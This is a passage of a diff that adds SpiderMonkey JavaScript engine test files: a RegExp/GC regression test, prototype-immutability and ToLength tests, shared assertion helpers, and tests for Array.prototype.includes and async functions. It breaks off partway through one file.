@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs gc (newGlobal/evaluate are shimmed)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile =
+ "reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1253099;
+var summary =
+ "Don't assert when, in |new RegExp(pat)|, stringifying |pat| creates " +
+ "another RegExp and then performs a GC";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// The fresh global object is required to ensure that the outer |new RegExp|
+// is the first RegExp created in the global (other than RegExp.prototype).
+newGlobal().evaluate(`
+var createsRegExpAndCallsGCWhenStringified =
+ {
+ toString: function() {
+ new RegExp("a");
+ gc();
+ return "q";
+ }
+ };
+
+assertEq(new RegExp(createsRegExpAndCallsGCWhenStringified).source, "q");
+`);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/setImmutablePrototype.js b/js/src/tests/ecma_6/extensions/setImmutablePrototype.js
new file mode 100644
index 000000000..9226dcce2
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/setImmutablePrototype.js
@@ -0,0 +1,195 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+var gTestfile = "setImmutablePrototype.js";
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1052139;
+var summary =
+ "Implement JSAPI and a shell function to prevent modifying an extensible " +
+ "object's [[Prototype]]";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+if (typeof evaluate !== "function")
+{
+ // Not totally faithful semantics, but approximately close enough for this
+ // test's purposes.
+ evaluate = eval;
+}
+
+var usingRealSetImmutablePrototype = true;
+
+if (typeof setImmutablePrototype !== "function")
+{
+ usingRealSetImmutablePrototype = false;
+
+ if (typeof SpecialPowers !== "undefined")
+ {
+ setImmutablePrototype =
+ SpecialPowers.Cu.getJSTestingFunctions().setImmutablePrototype;
+ }
+}
+
+if (typeof wrap !== "function")
+{
+ // good enough
+ wrap = function(x) { return x; };
+}
+
+function setViaProtoSetter(obj, newProto)
+{
+ var setter =
+ Object.getOwnPropertyDescriptor(Object.prototype, "__proto__").set;
+ setter.call(obj, newProto);
+}
+
+function checkPrototypeMutationFailure(obj, desc)
+{
+ var initialProto = Object.getPrototypeOf(obj);
+
+ // disconnected from any [[Prototype]] chains for use on any object at all
+ var newProto = Object.create(null);
+
+ function tryMutate(func, method)
+ {
+ try
+ {
+ func(obj, newProto);
+ throw new Error(desc + ": no error thrown, prototype " +
+ (Object.getPrototypeOf(obj) === initialProto
+ ? "wasn't"
+ : "was") +
+ " changed");
+ }
+ catch (e)
+ {
+ // Note: This is always a TypeError from *this* global object, because
+ // Object.setPrototypeOf and the __proto__ setter come from *this*
+ // global object.
+ assertEq(e instanceof TypeError, true,
+ desc + ": should have thrown TypeError setting [[Prototype]] " +
+ "via " + method + ", got " + e);
+ assertEq(Object.getPrototypeOf(obj), initialProto,
+ desc + ": shouldn't observe [[Prototype]] change");
+ }
+ }
+
+ tryMutate(Object.setPrototypeOf, "Object.setPrototypeOf");
+ tryMutate(setViaProtoSetter, "__proto__ setter");
+}
+
+function runNormalTests(global)
+{
+ if (typeof setImmutablePrototype !== "function")
+ {
+ print("no testable setImmutablePrototype function available, skipping tests");
+ return;
+ }
+
+ // regular old object, non-null [[Prototype]]
+
+ var emptyLiteral = global.evaluate("({})");
+ assertEq(setImmutablePrototype(emptyLiteral), true);
+ checkPrototypeMutationFailure(emptyLiteral, "empty literal");
+
+ // regular old object, null [[Prototype]]
+
+ var nullProto = global.Object.create(null);
+ assertEq(setImmutablePrototype(nullProto), true);
+ checkPrototypeMutationFailure(nullProto, "nullProto");
+
+ // Shocker: SpecialPowers's little mind doesn't understand proxies. Abort.
+ if (!usingRealSetImmutablePrototype)
+ return;
+
+ // direct proxies
+
+ var emptyTarget = global.evaluate("({})");
+ var directProxy = new global.Proxy(emptyTarget, {});
+ assertEq(setImmutablePrototype(directProxy), true);
+ checkPrototypeMutationFailure(directProxy, "direct proxy to empty target");
+ checkPrototypeMutationFailure(emptyTarget, "empty target");
+
+ var anotherTarget = global.evaluate("({})");
+ var anotherDirectProxy = new global.Proxy(anotherTarget, {});
+ assertEq(setImmutablePrototype(anotherTarget), true);
+ checkPrototypeMutationFailure(anotherDirectProxy, "another direct proxy to empty target");
+ checkPrototypeMutationFailure(anotherTarget, "another empty target");
+
+ var nestedTarget = global.evaluate("({})");
+ var nestedProxy = new global.Proxy(new Proxy(nestedTarget, {}), {});
+ assertEq(setImmutablePrototype(nestedProxy), true);
+ checkPrototypeMutationFailure(nestedProxy, "nested proxy to empty target");
+ checkPrototypeMutationFailure(nestedTarget, "nested target");
+
+ // revocable proxies
+
+ var revocableTarget = global.evaluate("({})");
+ var revocable = global.Proxy.revocable(revocableTarget, {});
+ assertEq(setImmutablePrototype(revocable.proxy), true);
+ checkPrototypeMutationFailure(revocableTarget, "revocable target");
+ checkPrototypeMutationFailure(revocable.proxy, "revocable proxy");
+
+ assertEq(revocable.revoke(), undefined);
+ try
+ {
+ setImmutablePrototype(revocable.proxy);
+ throw new Error("expected to throw on revoked proxy");
+ }
+ catch (e)
+ {
+ // Note: This is a TypeError from |global|, because the proxy's
+ // |setImmutablePrototype| method is what actually throws here.
+ // (Usually the method simply sets |*succeeded| to false and the
+ // caller handles or throws as needed after that. But not here.)
+ assertEq(e instanceof global.TypeError, true,
+ "expected TypeError, instead threw " + e);
+ }
+
+ var anotherRevocableTarget = global.evaluate("({})");
+ assertEq(setImmutablePrototype(anotherRevocableTarget), true);
+ checkPrototypeMutationFailure(anotherRevocableTarget, "another revocable target");
+
+ var anotherRevocable = global.Proxy.revocable(anotherRevocableTarget, {});
+ checkPrototypeMutationFailure(anotherRevocable.proxy, "another revocable target");
+
+ assertEq(anotherRevocable.revoke(), undefined);
+ try
+ {
+ var rv = setImmutablePrototype(anotherRevocable.proxy);
+ throw new Error("expected to throw on another revoked proxy, returned " + rv);
+ }
+ catch (e)
+ {
+ // NOTE: Again from |global|, as above.
+ assertEq(e instanceof global.TypeError, true,
+ "expected TypeError, instead threw " + e);
+ }
+}
+
+var global = this;
+runNormalTests(global); // same-global
+
+if (typeof newGlobal === "function")
+{
+ var otherGlobal = newGlobal();
+ var subsumingNothing = newGlobal({ principal: 0 });
+ var subsumingEverything = newGlobal({ principal: ~0 });
+
+ runNormalTests(otherGlobal); // cross-global
+ runNormalTests(subsumingNothing);
+ runNormalTests(subsumingEverything);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/extensions/shell.js b/js/src/tests/ecma_6/extensions/shell.js
new file mode 100644
index 000000000..4d731295d
--- /dev/null
+++ b/js/src/tests/ecma_6/extensions/shell.js
@@ -0,0 +1,5 @@
+// NOTE: This only turns on 1.8.5 in shell builds. The browser requires the
+// futzing in js/src/tests/browser.js (which only turns on 1.8, the most
+// the browser supports).
+if (typeof version != 'undefined')
+ version(185);
diff --git a/js/src/tests/ecma_6/shell.js b/js/src/tests/ecma_6/shell.js
new file mode 100644
index 000000000..06be6f2db
--- /dev/null
+++ b/js/src/tests/ecma_6/shell.js
@@ -0,0 +1,235 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+(function(global) {
+ /** Yield every permutation of the elements in some array. */
+ global.Permutations = function* Permutations(items) {
+ if (items.length == 0) {
+ yield [];
+ } else {
+ items = items.slice(0);
+ for (let i = 0; i < items.length; i++) {
+ let swap = items[0];
+ items[0] = items[i];
+ items[i] = swap;
+ for (let e of Permutations(items.slice(1, items.length)))
+ yield [items[0]].concat(e);
+ }
+ }
+ };
+})(this);
+
+if (typeof assertThrowsInstanceOf === 'undefined') {
+ var assertThrowsInstanceOf = function assertThrowsInstanceOf(f, ctor, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if (exc instanceof ctor)
+ return;
+ fullmsg = "Assertion failed: expected exception " + ctor.name + ", got " + exc;
+ }
+ if (fullmsg === undefined)
+ fullmsg = "Assertion failed: expected exception " + ctor.name + ", no exception thrown";
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+ throw new Error(fullmsg);
+ };
+}
+
+if (typeof assertThrowsValue === 'undefined') {
+ var assertThrowsValue = function assertThrowsValue(f, val, msg) {
+ var fullmsg;
+ try {
+ f();
+ } catch (exc) {
+ if ((exc === val) === (val === val) && (val !== 0 || 1 / exc === 1 / val))
+ return;
+ fullmsg = "Assertion failed: expected exception " + val + ", got " + exc;
+ }
+ if (fullmsg === undefined)
+ fullmsg = "Assertion failed: expected exception " + val + ", no exception thrown";
+ if (msg !== undefined)
+ fullmsg += " - " + msg;
+ throw new Error(fullmsg);
+ };
+}
+
+if (typeof assertDeepEq === 'undefined') {
+ var assertDeepEq = (function(){
+ var call = Function.prototype.call,
+ Array_isArray = Array.isArray,
+ Map_ = Map,
+ Error_ = Error,
+ Symbol_ = Symbol,
+ Map_has = call.bind(Map.prototype.has),
+ Map_get = call.bind(Map.prototype.get),
+ Map_set = call.bind(Map.prototype.set),
+ Object_toString = call.bind(Object.prototype.toString),
+ Function_toString = call.bind(Function.prototype.toString),
+ Object_getPrototypeOf = Object.getPrototypeOf,
+ Object_hasOwnProperty = call.bind(Object.prototype.hasOwnProperty),
+ Object_getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor,
+ Object_isExtensible = Object.isExtensible,
+ Object_getOwnPropertyNames = Object.getOwnPropertyNames,
+ uneval_ = uneval;
+
+ // Return true iff ES6 Type(v) isn't Object.
+ // Note that `typeof document.all === "undefined"`.
+ function isPrimitive(v) {
+ return (v === null ||
+ v === undefined ||
+ typeof v === "boolean" ||
+ typeof v === "number" ||
+ typeof v === "string" ||
+ typeof v === "symbol");
+ }
+
+ function assertSameValue(a, b, msg) {
+ try {
+ assertEq(a, b);
+ } catch (exc) {
+ throw Error_(exc.message + (msg ? " " + msg : ""));
+ }
+ }
+
+ function assertSameClass(a, b, msg) {
+ var ac = Object_toString(a), bc = Object_toString(b);
+ assertSameValue(ac, bc, msg);
+ switch (ac) {
+ case "[object Function]":
+ if (typeof isProxy !== "undefined" && !isProxy(a) && !isProxy(b))
+ assertSameValue(Function_toString(a), Function_toString(b), msg);
+ }
+ }
+
+ function at(prevmsg, segment) {
+ return prevmsg ? prevmsg + segment : "at _" + segment;
+ }
+
+ // Assert that the arguments a and b are thoroughly structurally equivalent.
+ //
+ // For the sake of speed, we cut a corner:
+ // var x = {}, y = {}, ax = [x];
+ // assertDeepEq([ax, x], [ax, y]); // passes (?!)
+ //
+ // Technically this should fail, since the two object graphs are different.
+ // (The graph of [ax, y] contains one more object than the graph of [ax, x].)
+ //
+ // To get technically correct behavior, pass {strictEquivalence: true}.
+ // This is slower because we have to walk the entire graph, and Object.prototype
+ // is big.
+ //
+ return function assertDeepEq(a, b, options) {
+ var strictEquivalence = options ? options.strictEquivalence : false;
+
+ function assertSameProto(a, b, msg) {
+ check(Object_getPrototypeOf(a), Object_getPrototypeOf(b), at(msg, ".__proto__"));
+ }
+
+ function failPropList(na, nb, msg) {
+ throw Error_("got own properties " + uneval_(na) + ", expected " + uneval_(nb) +
+ (msg ? " " + msg : ""));
+ }
+
+ function assertSameProps(a, b, msg) {
+ var na = Object_getOwnPropertyNames(a),
+ nb = Object_getOwnPropertyNames(b);
+ if (na.length !== nb.length)
+ failPropList(na, nb, msg);
+
+ // Ignore differences in whether Array elements are stored densely.
+ if (Array_isArray(a)) {
+ na.sort();
+ nb.sort();
+ }
+
+ for (var i = 0; i < na.length; i++) {
+ var name = na[i];
+ if (name !== nb[i])
+ failPropList(na, nb, msg);
+ var da = Object_getOwnPropertyDescriptor(a, name),
+ db = Object_getOwnPropertyDescriptor(b, name);
+ var pmsg = at(msg, /^[_$A-Za-z0-9]+$/.test(name)
+ ? /0|[1-9][0-9]*/.test(name) ? "[" + name + "]" : "." + name
+ : "[" + uneval_(name) + "]");
+ assertSameValue(da.configurable, db.configurable, at(pmsg, ".[[Configurable]]"));
+ assertSameValue(da.enumerable, db.enumerable, at(pmsg, ".[[Enumerable]]"));
+ if (Object_hasOwnProperty(da, "value")) {
+ if (!Object_hasOwnProperty(db, "value"))
+ throw Error_("got data property, expected accessor property" + pmsg);
+ check(da.value, db.value, pmsg);
+ } else {
+ if (Object_hasOwnProperty(db, "value"))
+ throw Error_("got accessor property, expected data property" + pmsg);
+ check(da.get, db.get, at(pmsg, ".[[Get]]"));
+ check(da.set, db.set, at(pmsg, ".[[Set]]"));
+ }
+ }
+ };
+
+ var ab = new Map_();
+ var bpath = new Map_();
+
+ function check(a, b, path) {
+ if (typeof a === "symbol") {
+ // Symbols are primitives, but they have identity.
+ // Symbol("x") !== Symbol("x") but
+ // assertDeepEq(Symbol("x"), Symbol("x")) should pass.
+ if (typeof b !== "symbol") {
+ throw Error_("got " + uneval_(a) + ", expected " + uneval_(b) + " " + path);
+ } else if (uneval_(a) !== uneval_(b)) {
+ // We lamely use uneval_ to distinguish well-known symbols
+ // from user-created symbols. The standard doesn't offer
+ // a convenient way to do it.
+ throw Error_("got " + uneval_(a) + ", expected " + uneval_(b) + " " + path);
+ } else if (Map_has(ab, a)) {
+ assertSameValue(Map_get(ab, a), b, path);
+ } else if (Map_has(bpath, b)) {
+ var bPrevPath = Map_get(bpath, b) || "_";
+ throw Error_("got distinct symbols " + at(path, "") + " and " +
+ at(bPrevPath, "") + ", expected the same symbol both places");
+ } else {
+ Map_set(ab, a, b);
+ Map_set(bpath, b, path);
+ }
+ } else if (isPrimitive(a)) {
+ assertSameValue(a, b, path);
+ } else if (isPrimitive(b)) {
+ throw Error_("got " + Object_toString(a) + ", expected " + uneval_(b) + " " + path);
+ } else if (Map_has(ab, a)) {
+ assertSameValue(Map_get(ab, a), b, path);
+ } else if (Map_has(bpath, b)) {
+ var bPrevPath = Map_get(bpath, b) || "_";
+ throw Error_("got distinct objects " + at(path, "") + " and " + at(bPrevPath, "") +
+ ", expected the same object both places");
+ } else {
+ Map_set(ab, a, b);
+ Map_set(bpath, b, path);
+ if (a !== b || strictEquivalence) {
+ assertSameClass(a, b, path);
+ assertSameProto(a, b, path);
+ assertSameProps(a, b, path);
+ assertSameValue(Object_isExtensible(a),
+ Object_isExtensible(b),
+ at(path, ".[[Extensible]]"));
+ }
+ }
+ }
+
+ check(a, b, "");
+ };
+ })();
+}
+
+if (typeof assertWarning === 'undefined') {
+ function assertWarning(func, name) {
+ enableLastWarning();
+ func();
+ var warning = getLastWarning();
+ assertEq(warning !== null, true);
+ assertEq(warning.name, name);
+ disableLastWarning();
+ }
+}
diff --git a/js/src/tests/ecma_6/toLength.js b/js/src/tests/ecma_6/toLength.js
new file mode 100644
index 000000000..f2216e7b9
--- /dev/null
+++ b/js/src/tests/ecma_6/toLength.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!xulRuntime.shell)
+var BUGNUMBER = 1040196;
+var summary = 'ToLength';
+
+print(BUGNUMBER + ": " + summary);
+
+var ToLength = getSelfHostedValue('ToLength');
+
+// Negative operands
+assertEq(ToLength(-0), 0);
+assertEq(ToLength(-1), 0);
+assertEq(ToLength(-2), 0);
+assertEq(ToLength(-1 * Math.pow(2, 56)), 0);
+assertEq(ToLength(-1 * Math.pow(2, 56) - 2), 0);
+assertEq(ToLength(-1 * Math.pow(2, 56) - 2.4444), 0);
+assertEq(ToLength(-Infinity), 0);
+
+// Small non-negative operands
+assertEq(ToLength(0), 0);
+assertEq(ToLength(1), 1);
+assertEq(ToLength(2), 2);
+assertEq(ToLength(3.3), 3);
+assertEq(ToLength(10/3), 3);
+
+// Large non-negative operands
+var maxLength = Math.pow(2, 53) - 1;
+assertEq(ToLength(maxLength - 1), maxLength - 1);
+assertEq(ToLength(maxLength - 0.0000001), maxLength);
+assertEq(ToLength(maxLength), maxLength);
+assertEq(ToLength(maxLength + 0.00000000000001), maxLength);
+assertEq(ToLength(maxLength + 1), maxLength);
+assertEq(ToLength(maxLength + 2), maxLength);
+assertEq(ToLength(Math.pow(2,54)), maxLength);
+assertEq(ToLength(Math.pow(2,64)), maxLength);
+assertEq(ToLength(Infinity), maxLength);
+
+// NaN operand
+assertEq(ToLength(NaN), 0);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_7/Array/browser.js b/js/src/tests/ecma_7/Array/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/Array/browser.js
diff --git a/js/src/tests/ecma_7/Array/includes.js b/js/src/tests/ecma_7/Array/includes.js
new file mode 100644
index 000000000..aa439571c
--- /dev/null
+++ b/js/src/tests/ecma_7/Array/includes.js
@@ -0,0 +1,59 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 1069063;
+var summary = "Implement Array.prototype.includes";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(typeof [].includes, "function");
+assertEq([].includes.length, 1);
+
+assertTrue([1, 2, 3].includes(2));
+assertTrue([1,,2].includes(2));
+assertTrue([1, 2, 3].includes(2, 1));
+assertTrue([1, 2, 3].includes(2, -2));
+assertTrue([1, 2, 3].includes(2, -100));
+assertTrue([Object, Function, Array].includes(Function));
+assertTrue([-0].includes(0));
+assertTrue([NaN].includes(NaN));
+assertTrue([,].includes());
+assertTrue(staticIncludes("123", "2"));
+assertTrue(staticIncludes({length: 3, 1: 2}, 2));
+assertTrue(staticIncludes({length: 3, 1: 2, get 3(){throw ""}}, 2));
+assertTrue(staticIncludes({length: 3, get 1() {return 2}}, 2));
+assertTrue(staticIncludes({__proto__: {1: 2}, length: 3}, 2));
+assertTrue(staticIncludes(new Proxy([1], {get(){return 2}}), 2));
+
+assertFalse([1, 2, 3].includes("2"));
+assertFalse([1, 2, 3].includes(2, 2));
+assertFalse([1, 2, 3].includes(2, -1));
+assertFalse([undefined].includes(NaN));
+assertFalse([{}].includes({}));
+assertFalse(staticIncludes({length: 3, 1: 2}, 2, 2));
+assertFalse(staticIncludes({length: 3, get 0(){delete this[1]}, 1: 2}, 2));
+assertFalse(staticIncludes({length: -100, 0: 1}, 1));
+
+assertThrowsInstanceOf(() => staticIncludes(), TypeError);
+assertThrowsInstanceOf(() => staticIncludes(null), TypeError);
+assertThrowsInstanceOf(() => staticIncludes({get length(){throw TypeError()}}), TypeError);
+assertThrowsInstanceOf(() => staticIncludes({length: 3, get 1() {throw TypeError()}}, 2), TypeError);
+assertThrowsInstanceOf(() => staticIncludes({__proto__: {get 1() {throw TypeError()}}, length: 3}, 2), TypeError);
+assertThrowsInstanceOf(() => staticIncludes(new Proxy([1], {get(){throw TypeError()}})), TypeError);
+
+function assertTrue(v) {
+ assertEq(v, true);
+}
+
+function assertFalse(v) {
+ assertEq(v, false);
+}
+
+function staticIncludes(o, v, f) {
+ return [].includes.call(o, v, f);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/Array/shell.js b/js/src/tests/ecma_7/Array/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_7/Array/shell.js
diff --git a/js/src/tests/ecma_7/AsyncFunctions/BoundNames.js b/js/src/tests/ecma_7/AsyncFunctions/BoundNames.js
new file mode 100644
index 000000000..743f4fdcc
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/BoundNames.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 1185106;
+var summary = "Bound names of async functions";
+
+print(BUGNUMBER + ": " + summary);
+
+async function test() {}
+assertEq(test.name, "test");
+
+var test2 = (async function test2() {});
+assertEq(test2.name, "test2");
+
+var anon = async function() {};
+assertEq(anon.name, "");
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ var tree = Reflect.parse("export default async function() {}", { target: "module" });
+ assertEq(tree.body[0].declaration.id.name, "*default*");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/EarlyErrors.js b/js/src/tests/ecma_7/AsyncFunctions/EarlyErrors.js
new file mode 100644
index 000000000..cb28d104b
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/EarlyErrors.js
@@ -0,0 +1,51 @@
+var BUGNUMBER = 1185106;
+var summary = "EarlyErrors for async function";
+
+print(BUGNUMBER + ": " + summary);
+
+function assertThrowsSE(code) {
+ assertThrows(() => Reflect.parse(code), SyntaxError);
+}
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ // If FormalParameters Contains AwaitExpression is true.
+ assertThrowsSE("async function a(k = await 3) {}");
+ assertThrowsSE("(async function(k = await 3) {})");
+ assertThrowsSE("(async function a(k = await 3) {})");
+
+ // If BindingIdentifier is `eval` or `arguments`.
+ assertThrowsSE("'use strict'; async function eval() {}");
+ assertThrowsSE("'use strict'; (async function eval() {})");
+
+ assertThrowsSE("'use strict'; async function arguments() {}");
+ assertThrowsSE("'use strict'; (async function arguments() {})");
+
+ // If any element of the BoundNames of FormalParameters also occurs in the
+ // LexicallyDeclaredNames of AsyncFunctionBody.
+ assertThrowsSE("async function a(x) { let x; }");
+ assertThrowsSE("(async function(x) { let x; })");
+ assertThrowsSE("(async function a(x) { let x; })");
+
+ // If FormalParameters contains SuperProperty is true.
+ assertThrowsSE("async function a(k = super.prop) { }");
+ assertThrowsSE("(async function(k = super.prop) {})");
+ assertThrowsSE("(async function a(k = super.prop) {})");
+
+ // If AsyncFunctionBody contains SuperProperty is true.
+ assertThrowsSE("async function a() { super.prop(); }");
+ assertThrowsSE("(async function() { super.prop(); })");
+ assertThrowsSE("(async function a() { super.prop(); })");
+
+ // If FormalParameters contains SuperCall is true.
+ assertThrowsSE("async function a(k = super()) {}");
+ assertThrowsSE("(async function(k = super()) {})");
+ assertThrowsSE("(async function a(k = super()) {})");
+
+ // If AsyncFunctionBody contains SuperCall is true.
+ assertThrowsSE("async function a() { super(); }");
+ assertThrowsSE("(async function() { super(); })");
+ assertThrowsSE("(async function a() { super(); })");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/arguments_callee.js b/js/src/tests/ecma_7/AsyncFunctions/arguments_callee.js
new file mode 100644
index 000000000..2a577e0b9
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/arguments_callee.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1185106;
+var summary = "arguments.callee in sloppy mode should return wrapped function";
+
+print(BUGNUMBER + ": " + summary);
+
+async function decl1() {
+ return arguments.callee;
+}
+assertEventuallyEq(decl1(), decl1);
+
+var expr1 = async function foo() {
+ return arguments.callee;
+};
+assertEventuallyEq(expr1(), expr1);
+
+var expr2 = async function() {
+ return arguments.callee;
+};
+assertEventuallyEq(expr2(), expr2);
+
+var obj = {
+ async method1() {
+ return arguments.callee;
+ }
+};
+assertEventuallyEq(obj.method1(), obj.method1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/await-newline.js b/js/src/tests/ecma_7/AsyncFunctions/await-newline.js
new file mode 100644
index 000000000..dc42fa481
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/await-newline.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1331009;
+var summary = "Newline is allowed between await and operand";
+
+print(BUGNUMBER + ": " + summary);
+
+var expr = async function foo() {
+ return await
+ 10;
+};
+assertEventuallyEq(expr(), 10);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/clone.js b/js/src/tests/ecma_7/AsyncFunctions/clone.js
new file mode 100644
index 000000000..2a4d5f8e0
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/clone.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs clone, cloneAndExecuteScript, drainJobQueue
+
+// Async function cannot be cloned.
+assertThrowsInstanceOf(() => clone(async function f() {}), TypeError);
+
+// unwrapped async function can be cloned.
+let g = newGlobal();
+cloneAndExecuteScript(`
+async function f() {
+ var a = await 1;
+ var b = await 2;
+ var c = await 3;
+ return a + b + c;
+}
+var V;
+f().then(v => V = v);
+drainJobQueue();
+`, g);
+assertEq(g.V, 6);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/constructor.js b/js/src/tests/ecma_7/AsyncFunctions/constructor.js
new file mode 100644
index 000000000..ccacb4363
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/constructor.js
@@ -0,0 +1,33 @@
+var BUGNUMBER = 1185106;
+var summary = "async function constructor and prototype";
+
+print(BUGNUMBER + ": " + summary);
+
+var f1 = async function() {};
+
+var AsyncFunction = f1.constructor;
+var AsyncFunctionPrototype = AsyncFunction.prototype;
+
+assertEq(AsyncFunction.name, "AsyncFunction");
+assertEq(AsyncFunction.length, 1);
+assertEq(Object.getPrototypeOf(async function() {}), AsyncFunctionPrototype);
+
+assertEq(AsyncFunctionPrototype.constructor, AsyncFunction);
+
+var f2 = AsyncFunction("await 1");
+assertEq(f2.constructor, AsyncFunction);
+assertEq(f2.length, 0);
+assertEq(Object.getPrototypeOf(f2), AsyncFunctionPrototype);
+
+var f3 = new AsyncFunction("await 1");
+assertEq(f3.constructor, AsyncFunction);
+assertEq(f3.length, 0);
+assertEq(Object.getPrototypeOf(f3), AsyncFunctionPrototype);
+
+var f4 = AsyncFunction("a", "b", "c", "await 1");
+assertEq(f4.constructor, AsyncFunction);
+assertEq(f4.length, 3);
+assertEq(Object.getPrototypeOf(f4), AsyncFunctionPrototype);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/identity.js b/js/src/tests/ecma_7/AsyncFunctions/identity.js
new file mode 100644
index 000000000..f3876bf23
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/identity.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1185106;
+var summary = "Named async function expression should get wrapped function for the name inside it";
+
+print(BUGNUMBER + ": " + summary);
+
+var expr = async function foo() {
+ return foo;
+};
+assertEventuallyEq(expr(), expr);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/length.js b/js/src/tests/ecma_7/AsyncFunctions/length.js
new file mode 100644
index 000000000..da95e23b8
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/length.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 1185106;
+var summary = "async function length";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(async function() {}.length, 0);
+assertEq(async function(a) {}.length, 1);
+assertEq(async function(a, b, c) {}.length, 3);
+assertEq(async function(a, b, c, ...d) {}.length, 3);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/methods.js b/js/src/tests/ecma_7/AsyncFunctions/methods.js
new file mode 100644
index 000000000..061a0e826
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/methods.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+var BUGNUMBER = 1185106;
+var summary = "async methods semantics";
+
+print(BUGNUMBER + ": " + summary);
+
+class X {
+ constructor() {
+ this.value = 42;
+ }
+ async getValue() {
+ return this.value;
+ }
+ setValue(value) {
+ this.value = value;
+ }
+ async increment() {
+ var value = await this.getValue();
+ this.setValue(value + 1);
+ return this.getValue();
+ }
+ async getBaseClassName() {
+ return 'X';
+ }
+ static async getStaticValue() {
+ return 44;
+ }
+ async 10() {
+ return 46;
+ }
+ async ["foo"]() {
+ return 47;
+ }
+}
+
+class Y extends X {
+ async getBaseClassName() {
+ return super.getBaseClassName();
+ }
+}
+
+var objLiteral = {
+ async get() {
+ return 45;
+ },
+ someStuff: 5
+};
+
+var x = new X();
+var y = new Y();
+
+assertEventuallyEq(x.getValue(), 42);
+assertEventuallyEq(x.increment(), 43);
+assertEventuallyEq(x[10](), 46);
+assertEventuallyEq(x.foo(), 47);
+assertEventuallyEq(X.getStaticValue(), 44);
+assertEventuallyEq(objLiteral.get(), 45);
+assertEventuallyEq(y.getBaseClassName(), 'X');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_7/AsyncFunctions/property.js b/js/src/tests/ecma_7/AsyncFunctions/property.js
new file mode 100644
index 000000000..53f779c33
--- /dev/null
+++ b/js/src/tests/ecma_7/AsyncFunctions/property.js
@@ -0,0 +1,49 @@
+var BUGNUMBER = 1185106;
+var summary = "async name token in property and object destructuring pattern";
+
+print(BUGNUMBER + ": " + summary);
+
+{
+ let a = { async: 10 };
+ assertEq(a.async, 10);
+}
+
+{
+ let a = { async() {} };
+ assertEq(a.async instanceof Function, true);
+ assertEq(a.async.name, "async");
+}
+
+{
+ let async = 11;
+ let a = { async };
